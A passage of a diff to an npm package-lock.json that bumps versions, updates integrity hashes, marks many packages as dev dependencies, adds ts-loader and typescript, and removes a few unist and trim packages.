+ "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==",
"dev": true
},
"yargs-parser": {
- "version": "18.1.3",
- "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-18.1.3.tgz",
- "integrity": "sha512-o50j0JeToy/4K6OZcaQmW6lyXXKhq7csREXcDwk2omFPJEwUNOVtJKvmDr9EI1fAJZUyZcRF7kxGBWmRXudrCQ==",
- "dev": true,
- "requires": {
- "camelcase": "^5.0.0",
- "decamelize": "^1.2.0"
- }
+ "version": "20.2.7",
+ "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-20.2.7.tgz",
+ "integrity": "sha512-FiNkvbeHzB/syOjIUxFDCnhSfzAL8R5vs40MgLFBorXACCOAEaWu0gRZl14vG8MR9AOJIZbmkjhusqBYZ3HTHw==",
+ "dev": true
}
}
},
@@ -16766,11 +21468,12 @@
}
},
"tar-stream": {
- "version": "2.1.3",
- "resolved": "https://registry.npmjs.org/tar-stream/-/tar-stream-2.1.3.tgz",
- "integrity": "sha512-Z9yri56Dih8IaK8gncVPx4Wqt86NDmQTSh49XLZgjWpGZL9GK9HKParS2scqHCC4w6X9Gh2jwaU45V47XTKwVA==",
+ "version": "2.2.0",
+ "resolved": "https://registry.npmjs.org/tar-stream/-/tar-stream-2.2.0.tgz",
+ "integrity": "sha512-ujeqbceABgwMZxEJnk2HDY2DlnUZ+9oEcb1KzTVfYHio0UE6dG71n60d8D2I4qNvleWrrXpmjpt7vZeF1LnMZQ==",
+ "dev": true,
"requires": {
- "bl": "^4.0.1",
+ "bl": "^4.0.3",
"end-of-stream": "^1.4.1",
"fs-constants": "^1.0.0",
"inherits": "^2.0.3",
@@ -16781,6 +21484,7 @@
"version": "3.6.0",
"resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.0.tgz",
"integrity": "sha512-BViHy7LKeTz4oNnkcLJ+lVSL6vpiFeX6/d3oSH8zCW7UxP2onchk+vTGB143xuFjHS3deTgkKoXXymXqymiIdA==",
+ "dev": true,
"requires": {
"inherits": "^2.0.3",
"string_decoder": "^1.1.1",
@@ -16792,12 +21496,14 @@
"temp-dir": {
"version": "2.0.0",
"resolved": "https://registry.npmjs.org/temp-dir/-/temp-dir-2.0.0.tgz",
- "integrity": "sha512-aoBAniQmmwtcKp/7BzsH8Cxzv8OL736p7v1ihGb5e9DJ9kTwGWHrQrVB5+lfVDzfGrdRzXch+ig7LHaY1JTOrg=="
+ "integrity": "sha512-aoBAniQmmwtcKp/7BzsH8Cxzv8OL736p7v1ihGb5e9DJ9kTwGWHrQrVB5+lfVDzfGrdRzXch+ig7LHaY1JTOrg==",
+ "dev": true
},
"tempfile": {
"version": "2.0.0",
"resolved": "https://registry.npmjs.org/tempfile/-/tempfile-2.0.0.tgz",
"integrity": "sha1-awRGhWqbERTRhW/8vlCczLCXcmU=",
+ "dev": true,
"requires": {
"temp-dir": "^1.0.0",
"uuid": "^3.0.1"
@@ -16806,14 +21512,16 @@
"temp-dir": {
"version": "1.0.0",
"resolved": "https://registry.npmjs.org/temp-dir/-/temp-dir-1.0.0.tgz",
- "integrity": "sha1-CnwOom06Oa+n4OvqnB/AvE2qAR0="
+ "integrity": "sha1-CnwOom06Oa+n4OvqnB/AvE2qAR0=",
+ "dev": true
}
}
},
"term-size": {
- "version": "2.2.0",
- "resolved": "https://registry.npmjs.org/term-size/-/term-size-2.2.0.tgz",
- "integrity": "sha512-a6sumDlzyHVJWb8+YofY4TW112G6p2FCPEAFk+59gIYHv3XHRhm9ltVQ9kli4hNWeQBwSpe8cRN25x0ROunMOw=="
+ "version": "2.2.1",
+ "resolved": "https://registry.npmjs.org/term-size/-/term-size-2.2.1.tgz",
+ "integrity": "sha512-wK0Ri4fOGjv/XPy8SBHZChl8CM7uMc5VML7SqiQ0zG7+J5Vr+RMQDoHa2CNT6KHUnTGIXH34UDMkPzAUyapBZg==",
+ "dev": true
},
"terser": {
"version": "4.8.0",
@@ -16851,6 +21559,17 @@
"worker-farm": "^1.7.0"
},
"dependencies": {
+ "find-cache-dir": {
+ "version": "2.1.0",
+ "resolved": "https://registry.npmjs.org/find-cache-dir/-/find-cache-dir-2.1.0.tgz",
+ "integrity": "sha512-Tq6PixE0w/VMFfCgbONnkiQIVol/JJL7nRMi20fqzA4NRs9AfeqMGeRdPi3wIhYkxjeBaWh2rxwapn5Tu3IqOQ==",
+ "dev": true,
+ "requires": {
+ "commondir": "^1.0.1",
+ "make-dir": "^2.0.0",
+ "pkg-dir": "^3.0.0"
+ }
+ },
"schema-utils": {
"version": "1.0.0",
"resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-1.0.0.tgz",
@@ -16880,6 +21599,7 @@
"version": "2.0.0",
"resolved": "https://registry.npmjs.org/then-fs/-/then-fs-2.0.0.tgz",
"integrity": "sha1-cveS3Z0xcFqRrhnr/Piz+WjIHaI=",
+ "dev": true,
"requires": {
"promise": ">=3.2 <8"
}
@@ -16887,22 +21607,19 @@
"through": {
"version": "2.3.8",
"resolved": "https://registry.npmjs.org/through/-/through-2.3.8.tgz",
- "integrity": "sha1-DdTJ/6q8NXlgsbckEV1+Doai4fU="
+ "integrity": "sha1-DdTJ/6q8NXlgsbckEV1+Doai4fU=",
+ "dev": true
},
"through2": {
"version": "2.0.5",
"resolved": "https://registry.npmjs.org/through2/-/through2-2.0.5.tgz",
"integrity": "sha512-/mrRod8xqpA+IHSLyGCQ2s8SPHiCDEeQJSep1jqLYeEUClOFG2Qsh+4FU6G9VeqpZnGW/Su8LQGc4YKni5rYSQ==",
+ "dev": true,
"requires": {
"readable-stream": "~2.3.6",
"xtend": "~4.0.1"
}
},
- "thunkify": {
- "version": "2.1.2",
- "resolved": "https://registry.npmjs.org/thunkify/-/thunkify-2.1.2.tgz",
- "integrity": "sha1-+qDp0jDFGsyVyhOjYawFyn4EVT0="
- },
"thunky": {
"version": "1.1.0",
"resolved": "https://registry.npmjs.org/thunky/-/thunky-1.1.0.tgz",
@@ -16910,9 +21627,9 @@
"dev": true
},
"timers-browserify": {
- "version": "2.0.11",
- "resolved": "https://registry.npmjs.org/timers-browserify/-/timers-browserify-2.0.11.tgz",
- "integrity": "sha512-60aV6sgJ5YEbzUdn9c8kYGIqOubPoUdqQCul3SBAsRCZ40s6Y5cMcrW4dt3/k/EsbLVJNl9n6Vz3fTc+k2GeKQ==",
+ "version": "2.0.12",
+ "resolved": "https://registry.npmjs.org/timers-browserify/-/timers-browserify-2.0.12.tgz",
+ "integrity": "sha512-9phl76Cqm6FhSX9Xe1ZUAMLtm1BLkKj2Qd5ApyWkXzsMRaA7dgr81kf4wJmQf/hAvg8EEyJxDo3du/0KlhPiKQ==",
"dev": true,
"requires": {
"setimmediate": "^1.0.4"
@@ -16937,6 +21654,7 @@
"version": "0.0.33",
"resolved": "https://registry.npmjs.org/tmp/-/tmp-0.0.33.tgz",
"integrity": "sha512-jRCJlojKnZ3addtTOjdIqoRuPEKBvNXcGYqzO6zWZX8KfKEpnGY5jfggJQ3EjKuu8D4bJRr0y+cYJFmYbImXGw==",
+ "dev": true,
"requires": {
"os-tmpdir": "~1.0.2"
}
@@ -16975,7 +21693,8 @@
"to-readable-stream": {
"version": "1.0.0",
"resolved": "https://registry.npmjs.org/to-readable-stream/-/to-readable-stream-1.0.0.tgz",
- "integrity": "sha512-Iq25XBt6zD5npPhlLVXGFN3/gyR2/qODcKNNyTMd4vbm39HUaOiAM4PMq0eMVC/Tkxz+Zjdsc55g9yyz+Yq00Q=="
+ "integrity": "sha512-Iq25XBt6zD5npPhlLVXGFN3/gyR2/qODcKNNyTMd4vbm39HUaOiAM4PMq0eMVC/Tkxz+Zjdsc55g9yyz+Yq00Q==",
+ "dev": true
},
"to-regex": {
"version": "3.0.2",
@@ -17007,12 +21726,14 @@
"toidentifier": {
"version": "1.0.0",
"resolved": "https://registry.npmjs.org/toidentifier/-/toidentifier-1.0.0.tgz",
- "integrity": "sha512-yaOH/Pk/VEhBWWTlhI+qXxDFXlejDGcQipMlyxda9nthulaxLZUNcUqFxokp0vcYnvteJln5FNQDRrxj3YcbVw=="
+ "integrity": "sha512-yaOH/Pk/VEhBWWTlhI+qXxDFXlejDGcQipMlyxda9nthulaxLZUNcUqFxokp0vcYnvteJln5FNQDRrxj3YcbVw==",
+ "dev": true
},
"toml": {
"version": "3.0.0",
"resolved": "https://registry.npmjs.org/toml/-/toml-3.0.0.tgz",
- "integrity": "sha512-y/mWCZinnvxjTKYhJ+pYxwD0mRLVvOtdS2Awbgxln6iEnt4rk0yBxeSBHkGJcPucRiG0e55mwWp+g/05rsrd6w=="
+ "integrity": "sha512-y/mWCZinnvxjTKYhJ+pYxwD0mRLVvOtdS2Awbgxln6iEnt4rk0yBxeSBHkGJcPucRiG0e55mwWp+g/05rsrd6w==",
+ "dev": true
},
"toposort": {
"version": "1.0.7",
@@ -17033,12 +21754,13 @@
"tree-kill": {
"version": "1.2.2",
"resolved": "https://registry.npmjs.org/tree-kill/-/tree-kill-1.2.2.tgz",
- "integrity": "sha512-L0Orpi8qGpRG//Nd+H90vFB+3iHnue1zSSGmNOOCh1GLJ7rUKVwV2HvijphGQS2UmhUZewS9VgvxYIdgr+fG1A=="
+ "integrity": "sha512-L0Orpi8qGpRG//Nd+H90vFB+3iHnue1zSSGmNOOCh1GLJ7rUKVwV2HvijphGQS2UmhUZewS9VgvxYIdgr+fG1A==",
+ "dev": true
},
- "trim": {
- "version": "0.0.1",
- "resolved": "https://registry.npmjs.org/trim/-/trim-0.0.1.tgz",
- "integrity": "sha1-WFhUf2spB1fulczMZm+1AITEYN0=",
+ "treeify": {
+ "version": "1.1.0",
+ "resolved": "https://registry.npmjs.org/treeify/-/treeify-1.1.0.tgz",
+ "integrity": "sha512-1m4RA7xVAJrSGrrXGs0L3YTwyvBs2S8PbRHaLZAkFw7JR8oIFwYtysxlBZhYIa7xSyiYJKZ3iGrrk55cGA3i9A==",
"dev": true
},
"trim-newlines": {
@@ -17047,12 +21769,6 @@
"integrity": "sha1-WIeWa7WCpFA6QetST301ARgVphM=",
"dev": true
},
- "trim-trailing-lines": {
- "version": "1.1.3",
- "resolved": "https://registry.npmjs.org/trim-trailing-lines/-/trim-trailing-lines-1.1.3.tgz",
- "integrity": "sha512-4ku0mmjXifQcTVfYDfR5lpgV7zVqPg6zV9rdZmwOPqq0+Zq19xDqEgagqVbc4pOOShbncuAOIs59R3+3gcF3ZA==",
- "dev": true
- },
"trough": {
"version": "1.0.5",
"resolved": "https://registry.npmjs.org/trough/-/trough-1.0.5.tgz",
@@ -17068,25 +21784,169 @@
"glob": "^7.1.2"
}
},
+ "ts-loader": {
+ "version": "8.1.0",
+ "resolved": "https://registry.npmjs.org/ts-loader/-/ts-loader-8.1.0.tgz",
+ "integrity": "sha512-YiQipGGAFj2zBfqLhp28yUvPP9jUGqHxRzrGYuc82Z2wM27YIHbElXiaZDc93c3x0mz4zvBmS6q/DgExpdj37A==",
+ "dev": true,
+ "requires": {
+ "chalk": "^4.1.0",
+ "enhanced-resolve": "^4.0.0",
+ "loader-utils": "^2.0.0",
+ "micromatch": "^4.0.0",
+ "semver": "^7.3.4"
+ },
+ "dependencies": {
+ "ansi-styles": {
+ "version": "4.3.0",
+ "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
+ "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
+ "dev": true,
+ "requires": {
+ "color-convert": "^2.0.1"
+ }
+ },
+ "braces": {
+ "version": "3.0.2",
+ "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.2.tgz",
+ "integrity": "sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A==",
+ "dev": true,
+ "requires": {
+ "fill-range": "^7.0.1"
+ }
+ },
+ "chalk": {
+ "version": "4.1.0",
+ "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.0.tgz",
+ "integrity": "sha512-qwx12AxXe2Q5xQ43Ac//I6v5aXTipYrSESdOgzrN+9XjgEpyjpKuvSGaN4qE93f7TQTlerQQ8S+EQ0EyDoVL1A==",
+ "dev": true,
+ "requires": {
+ "ansi-styles": "^4.1.0",
+ "supports-color": "^7.1.0"
+ }
+ },
+ "color-convert": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
+ "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
+ "dev": true,
+ "requires": {
+ "color-name": "~1.1.4"
+ }
+ },
+ "color-name": {
+ "version": "1.1.4",
+ "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
+ "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==",
+ "dev": true
+ },
+ "fill-range": {
+ "version": "7.0.1",
+ "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.0.1.tgz",
+ "integrity": "sha512-qOo9F+dMUmC2Lcb4BbVvnKJxTPjCm+RRpe4gDuGrzkL7mEVl/djYSu2OdQ2Pa302N4oqkSg9ir6jaLWJ2USVpQ==",
+ "dev": true,
+ "requires": {
+ "to-regex-range": "^5.0.1"
+ }
+ },
+ "has-flag": {
+ "version": "4.0.0",
+ "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
+ "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==",
+ "dev": true
+ },
+ "is-number": {
+ "version": "7.0.0",
+ "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz",
+ "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==",
+ "dev": true
+ },
+ "json5": {
+ "version": "2.2.0",
+ "resolved": "https://registry.npmjs.org/json5/-/json5-2.2.0.tgz",
+ "integrity": "sha512-f+8cldu7X/y7RAJurMEJmdoKXGB/X550w2Nr3tTbezL6RwEE/iMcm+tZnXeoZtKuOq6ft8+CqzEkrIgx1fPoQA==",
+ "dev": true,
+ "requires": {
+ "minimist": "^1.2.5"
+ }
+ },
+ "loader-utils": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/loader-utils/-/loader-utils-2.0.0.tgz",
+ "integrity": "sha512-rP4F0h2RaWSvPEkD7BLDFQnvSf+nK+wr3ESUjNTyAGobqrijmW92zc+SO6d4p4B1wh7+B/Jg1mkQe5NYUEHtHQ==",
+ "dev": true,
+ "requires": {
+ "big.js": "^5.2.2",
+ "emojis-list": "^3.0.0",
+ "json5": "^2.1.2"
+ }
+ },
+ "lru-cache": {
+ "version": "6.0.0",
+ "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-6.0.0.tgz",
+ "integrity": "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==",
+ "dev": true,
+ "requires": {
+ "yallist": "^4.0.0"
+ }
+ },
+ "micromatch": {
+ "version": "4.0.4",
+ "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.4.tgz",
+ "integrity": "sha512-pRmzw/XUcwXGpD9aI9q/0XOwLNygjETJ8y0ao0wdqprrzDa4YnxLcz7fQRZr8voh8V10kGhABbNcHVk5wHgWwg==",
+ "dev": true,
+ "requires": {
+ "braces": "^3.0.1",
+ "picomatch": "^2.2.3"
+ }
+ },
+ "semver": {
+ "version": "7.3.5",
+ "resolved": "https://registry.npmjs.org/semver/-/semver-7.3.5.tgz",
+ "integrity": "sha512-PoeGJYh8HK4BTO/a9Tf6ZG3veo/A7ZVsYrSA6J8ny9nb3B1VrpkuN+z9OE5wfE5p6H4LchYZsegiQgbJD94ZFQ==",
+ "dev": true,
+ "requires": {
+ "lru-cache": "^6.0.0"
+ }
+ },
+ "supports-color": {
+ "version": "7.2.0",
+ "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
+ "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
+ "dev": true,
+ "requires": {
+ "has-flag": "^4.0.0"
+ }
+ },
+ "to-regex-range": {
+ "version": "5.0.1",
+ "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz",
+ "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==",
+ "dev": true,
+ "requires": {
+ "is-number": "^7.0.0"
+ }
+ },
+ "yallist": {
+ "version": "4.0.0",
+ "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz",
+ "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==",
+ "dev": true
+ }
+ }
+ },
"tslib": {
"version": "1.11.2",
"resolved": "https://registry.npmjs.org/tslib/-/tslib-1.11.2.tgz",
- "integrity": "sha512-tTSkux6IGPnUGUd1XAZHcpu85MOkIl5zX49pO+jfsie3eP0B6pyhOlLXm3cAC6T7s+euSDDUUV+Acop5WmtkVg=="
+ "integrity": "sha512-tTSkux6IGPnUGUd1XAZHcpu85MOkIl5zX49pO+jfsie3eP0B6pyhOlLXm3cAC6T7s+euSDDUUV+Acop5WmtkVg==",
+ "dev": true
},
"tsparticles": {
- "version": "1.17.7",
- "resolved": "https://registry.npmjs.org/tsparticles/-/tsparticles-1.17.7.tgz",
- "integrity": "sha512-+9b0YplbE38WPxWAMwYQ6+VLZ4LsDG8N3RAPx8ezwsi0IfR1ZEirfuHOUoYv3KfPMpmJOxf0F4jAFcq47uwyMA==",
+ "version": "1.26.2",
+ "resolved": "https://registry.npmjs.org/tsparticles/-/tsparticles-1.26.2.tgz",
+ "integrity": "sha512-rUOd8lrpZwcEIa0Ft+QzS73Eorl4xo6neVDNGFPxakSOMbOPL7OHdzjbqZgoE93dbRBzJlguhRMGZiRRuH86gQ==",
"requires": {
- "pathseg": "^1.2.0",
- "tslib": "^2.0.0"
- },
- "dependencies": {
- "tslib": {
- "version": "2.0.1",
- "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.0.1.tgz",
- "integrity": "sha512-SgIkNheinmEBgx1IUNirK0TUD4X9yjjBRTqqjggWCU3pUEqIk3/Uwl3yRixYKT6WjQuGiwDv4NomL3wqRCj+CQ=="
- }
+ "pathseg": "^1.2.0"
}
},
"tty-browserify": {
@@ -17098,7 +21958,8 @@
"tunnel": {
"version": "0.0.6",
"resolved": "https://registry.npmjs.org/tunnel/-/tunnel-0.0.6.tgz",
- "integrity": "sha512-1h/Lnq9yajKY2PEbBadPXj3VxsDDu844OnaAo52UVmIzIvwwtBPIuNvkjuzBlTWpfJyUbG3ez0KSBibQkj4ojg=="
+ "integrity": "sha512-1h/Lnq9yajKY2PEbBadPXj3VxsDDu844OnaAo52UVmIzIvwwtBPIuNvkjuzBlTWpfJyUbG3ez0KSBibQkj4ojg==",
+ "dev": true
},
"tunnel-agent": {
"version": "0.6.0",
@@ -17112,12 +21973,14 @@
"tweetnacl": {
"version": "0.14.5",
"resolved": "https://registry.npmjs.org/tweetnacl/-/tweetnacl-0.14.5.tgz",
- "integrity": "sha1-WuaBd/GS1EViadEIr6k/+HQ/T2Q="
+ "integrity": "sha1-WuaBd/GS1EViadEIr6k/+HQ/T2Q=",
+ "dev": true
},
"type-check": {
"version": "0.3.2",
"resolved": "https://registry.npmjs.org/type-check/-/type-check-0.3.2.tgz",
"integrity": "sha1-WITKtRLPHTVeP7eE8wgEsrUg23I=",
+ "dev": true,
"requires": {
"prelude-ls": "~1.1.2"
}
@@ -17125,7 +21988,8 @@
"type-fest": {
"version": "0.8.1",
"resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.8.1.tgz",
- "integrity": "sha512-4dbzIzqvjtgiM5rw1k5rEHtBANKmdudhGyBEajN01fEyhaAIhsoKNy6y7+IN93IfpFtwY9iqi7kD+xwKhQsNJA=="
+ "integrity": "sha512-4dbzIzqvjtgiM5rw1k5rEHtBANKmdudhGyBEajN01fEyhaAIhsoKNy6y7+IN93IfpFtwY9iqi7kD+xwKhQsNJA==",
+ "dev": true
},
"type-is": {
"version": "1.6.18",
@@ -17147,10 +22011,17 @@
"version": "3.1.5",
"resolved": "https://registry.npmjs.org/typedarray-to-buffer/-/typedarray-to-buffer-3.1.5.tgz",
"integrity": "sha512-zdu8XMNEDepKKR+XYOXAVPtWui0ly0NtohUscw+UmaHiAWT8hrV1rr//H6V+0DvJ3OQ19S979M0laLfX8rm82Q==",
+ "dev": true,
"requires": {
"is-typedarray": "^1.0.0"
}
},
+ "typescript": {
+ "version": "4.2.4",
+ "resolved": "https://registry.npmjs.org/typescript/-/typescript-4.2.4.tgz",
+ "integrity": "sha512-V+evlYHZnQkaz8TRBuxTA92yZBPotr5H+WhQ7bD3hZUndx5tGOa1fuCgeSjxAzM1RiN5IzvadIXTVefuuwZCRg==",
+ "dev": true
+ },
"ua-parser-js": {
"version": "0.7.21",
"resolved": "https://registry.npmjs.org/ua-parser-js/-/ua-parser-js-0.7.21.tgz",
@@ -17180,30 +22051,35 @@
}
}
},
- "uncontrollable": {
- "version": "7.1.1",
- "resolved": "https://registry.npmjs.org/uncontrollable/-/uncontrollable-7.1.1.tgz",
- "integrity": "sha512-EcPYhot3uWTS3w00R32R2+vS8Vr53tttrvMj/yA1uYRhf8hbTG2GyugGqWDY0qIskxn0uTTojVd6wPYW9ZEf8Q==",
- "requires": {
- "@babel/runtime": "^7.6.3",
- "@types/react": "^16.9.11",
- "invariant": "^2.2.4",
- "react-lifecycles-compat": "^3.0.4"
- }
- },
- "underscore": {
- "version": "1.11.0",
- "resolved": "https://registry.npmjs.org/underscore/-/underscore-1.11.0.tgz",
- "integrity": "sha512-xY96SsN3NA461qIRKZ/+qox37YXPtSBswMGfiNptr+wrt6ds4HaMw23TP612fEyGekRE6LNRiLYr/aqbHXNedw=="
- },
- "unherit": {
- "version": "1.1.3",
- "resolved": "https://registry.npmjs.org/unherit/-/unherit-1.1.3.tgz",
- "integrity": "sha512-Ft16BJcnapDKp0+J/rqFC3Rrk6Y/Ng4nzsC028k2jdDII/rdZ7Wd3pPT/6+vIIxRagwRc9K0IUX0Ra4fKvw+WQ==",
+ "unbox-primitive": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/unbox-primitive/-/unbox-primitive-1.0.1.tgz",
+ "integrity": "sha512-tZU/3NqK3dA5gpE1KtyiJUrEB0lxnGkMFHptJ7q6ewdZ8s12QrODwNbhIJStmJkd1QDXa1NRA8aF2A1zk/Ypyw==",
"dev": true,
"requires": {
- "inherits": "^2.0.0",
- "xtend": "^4.0.0"
+ "function-bind": "^1.1.1",
+ "has-bigints": "^1.0.1",
+ "has-symbols": "^1.0.2",
+ "which-boxed-primitive": "^1.0.2"
+ },
+ "dependencies": {
+ "has-symbols": {
+ "version": "1.0.2",
+ "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.0.2.tgz",
+ "integrity": "sha512-chXa79rL/UC2KlX17jo3vRGz0azaWEx5tGqZg5pO3NUyEJVB17dMruQlzCCOfUvElghKcm5194+BCRvi2Rv/Gw==",
+ "dev": true
+ }
+ }
+ },
+ "uncontrollable": {
+ "version": "7.2.1",
+ "resolved": "https://registry.npmjs.org/uncontrollable/-/uncontrollable-7.2.1.tgz",
+ "integrity": "sha512-svtcfoTADIB0nT9nltgjujTi7BzVmwjZClOmskKu/E8FW9BXzg9os8OLr4f8Dlnk0rYWJIWr4wv9eKUXiQvQwQ==",
+ "requires": {
+ "@babel/runtime": "^7.6.3",
+ "@types/react": ">=16.9.11",
+ "invariant": "^2.2.4",
+ "react-lifecycles-compat": "^3.0.4"
}
},
"unicode-canonical-property-names-ecmascript": {
@@ -17235,9 +22111,9 @@
"dev": true
},
"unified": {
- "version": "9.0.0",
- "resolved": "https://registry.npmjs.org/unified/-/unified-9.0.0.tgz",
- "integrity": "sha512-ssFo33gljU3PdlWLjNp15Inqb77d6JnJSfyplGJPT/a+fNRNyCBeveBAYJdO5khKdF6WVHa/yYCC7Xl6BDwZUQ==",
+ "version": "9.2.1",
+ "resolved": "https://registry.npmjs.org/unified/-/unified-9.2.1.tgz",
+ "integrity": "sha512-juWjuI8Z4xFg8pJbnEZ41b5xjGUWGHqXALmBZ3FC3WX0PIx1CZBIIJ6mXbYMcf6Yw4Fi0rFUTA1cdz/BglbOhA==",
"dev": true,
"requires": {
"bail": "^1.0.0",
@@ -17249,9 +22125,9 @@
},
"dependencies": {
"is-buffer": {
- "version": "2.0.4",
- "resolved": "https://registry.npmjs.org/is-buffer/-/is-buffer-2.0.4.tgz",
- "integrity": "sha512-Kq1rokWXOPXWuaMAqZiJW4XxsmD9zGx9q4aePabbn3qCRGedtH7Cm+zV8WETitMfu1wdh+Rvd6w5egwSngUX2A==",
+ "version": "2.0.5",
+ "resolved": "https://registry.npmjs.org/is-buffer/-/is-buffer-2.0.5.tgz",
+ "integrity": "sha512-i2R6zNFDwgEHJyQUtJEk0XFi1i0dPFn/oqjK3/vPCcDeJvW5NQ83V8QbicfF1SupOaB0h8ntgBC2YiE7dfyctQ==",
"dev": true
}
}
@@ -17296,34 +22172,26 @@
"version": "2.0.0",
"resolved": "https://registry.npmjs.org/unique-string/-/unique-string-2.0.0.tgz",
"integrity": "sha512-uNaeirEPvpZWSgzwsPGtU2zVSTrn/8L5q/IexZmH0eH6SA73CmAA5U4GwORTxQAZs95TAXLNqeLoPPNO5gZfWg==",
+ "dev": true,
"requires": {
"crypto-random-string": "^2.0.0"
}
},
"unist-util-find-all-after": {
- "version": "3.0.1",
- "resolved": "https://registry.npmjs.org/unist-util-find-all-after/-/unist-util-find-all-after-3.0.1.tgz",
- "integrity": "sha512-0GICgc++sRJesLwEYDjFVJPJttBpVQaTNgc6Jw0Jhzvfs+jtKePEMu+uD+PqkRUrAvGQqwhpDwLGWo1PK8PDEw==",
+ "version": "3.0.2",
+ "resolved": "https://registry.npmjs.org/unist-util-find-all-after/-/unist-util-find-all-after-3.0.2.tgz",
+ "integrity": "sha512-xaTC/AGZ0rIM2gM28YVRAFPIZpzbpDtU3dRmp7EXlNVA8ziQc4hY3H7BHXM1J49nEmiqc3svnqMReW+PGqbZKQ==",
"dev": true,
"requires": {
"unist-util-is": "^4.0.0"
}
},
"unist-util-is": {
- "version": "4.0.2",
- "resolved": "https://registry.npmjs.org/unist-util-is/-/unist-util-is-4.0.2.tgz",
- "integrity": "sha512-Ofx8uf6haexJwI1gxWMGg6I/dLnF2yE+KibhD3/diOqY2TinLcqHXCV6OI5gFVn3xQqDH+u0M625pfKwIwgBKQ==",
+ "version": "4.1.0",
+ "resolved": "https://registry.npmjs.org/unist-util-is/-/unist-util-is-4.1.0.tgz",
+ "integrity": "sha512-ZOQSsnce92GrxSqlnEEseX0gi7GH9zTJZ0p9dtu87WRb/37mMPO2Ilx1s/t9vBHrFhbgweUwb+t7cIn5dxPhZg==",
"dev": true
},
- "unist-util-remove-position": {
- "version": "2.0.1",
- "resolved": "https://registry.npmjs.org/unist-util-remove-position/-/unist-util-remove-position-2.0.1.tgz",
- "integrity": "sha512-fDZsLYIe2uT+oGFnuZmy73K6ZxOPG/Qcm+w7jbEjaFcJgbQ6cqjs/eSPzXhsmGpAsWPkqZM9pYjww5QTn3LHMA==",
- "dev": true,
- "requires": {
- "unist-util-visit": "^2.0.0"
- }
- },
"unist-util-stringify-position": {
"version": "2.0.3",
"resolved": "https://registry.npmjs.org/unist-util-stringify-position/-/unist-util-stringify-position-2.0.3.tgz",
@@ -17333,27 +22201,6 @@
"@types/unist": "^2.0.2"
}
},
- "unist-util-visit": {
- "version": "2.0.2",
- "resolved": "https://registry.npmjs.org/unist-util-visit/-/unist-util-visit-2.0.2.tgz",
- "integrity": "sha512-HoHNhGnKj6y+Sq+7ASo2zpVdfdRifhTgX2KTU3B/sO/TTlZchp7E3S4vjRzDJ7L60KmrCPsQkVK3lEF3cz36XQ==",
- "dev": true,
- "requires": {
- "@types/unist": "^2.0.0",
- "unist-util-is": "^4.0.0",
- "unist-util-visit-parents": "^3.0.0"
- }
- },
- "unist-util-visit-parents": {
- "version": "3.0.2",
- "resolved": "https://registry.npmjs.org/unist-util-visit-parents/-/unist-util-visit-parents-3.0.2.tgz",
- "integrity": "sha512-yJEfuZtzFpQmg1OSCyS9M5NJRrln/9FbYosH3iW0MG402QbdbaB8ZESwUv9RO6nRfLAKvWcMxCwdLWOov36x/g==",
- "dev": true,
- "requires": {
- "@types/unist": "^2.0.0",
- "unist-util-is": "^4.0.0"
- }
- },
"universalify": {
"version": "0.1.2",
"resolved": "https://registry.npmjs.org/universalify/-/universalify-0.1.2.tgz",
@@ -17363,7 +22210,8 @@
"unpipe": {
"version": "1.0.0",
